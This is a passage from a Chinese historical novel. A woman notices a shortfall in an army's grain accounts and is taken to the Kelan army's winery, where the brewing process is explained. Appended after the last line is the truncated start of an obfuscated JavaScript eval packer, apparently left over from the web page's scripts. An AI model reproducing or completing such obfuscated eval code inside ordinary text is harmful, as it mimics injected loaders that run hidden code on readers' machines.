可账目上可供分配的粮食，跟我算出来的数，差了一截。”她困惑地求教，“你对岢岚军的情况比我了解得多，应该一眼就能看出差额。可你见怪不怪，提都不提，为什么？”
“其实大家都知道，这不是什么秘密，只是你之前没接触过这些。”崔五郎站起身来，拍了拍袍子上的灰，“与其我在这里跟你解释，不如明天你跟我和魏七郎去个地方，亲眼看看。”
唐照环点头，没再多问。
第二天一早，崔五郎带着唐照环和魏承出了城。
骡车走了约莫半个时辰，在一处低矮的土墙前停下。土墙围着一大片院子，从敞着院门可以看到里头摆着几十口大缸，缸口盖着草帘子，草帘子上压着石头。空气里弥漫着发酵气息。
魏承跳下车，走到一只巨大的酒坛前，拍了拍坛身，坛子发出沉闷的嗡鸣声。
“这里是岢岚军的酒窖。走，我带你进去看看。”他走在前头，一边走一边介绍，“酿酒要先选粮，咱们用的主要是黍子和麦子，按比例配好，淘洗干净，上锅蒸。蒸熟了，摊开晾凉，拌上酒曲，入缸发酵。头几天要天天搅，让粮食和酒曲充分混合，后头就封起来，等着它自己慢慢变。”
他推开一扇半掩的木门，一股浓郁的酒香扑面而来。唐照环忍不住深吸了一口气，让香气顺着鼻腔往下走，一直走到肺里。
崔五郎指着里面的一排排大缸，自豪道：“这些都是今年新酿的，再过几天就能开封了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c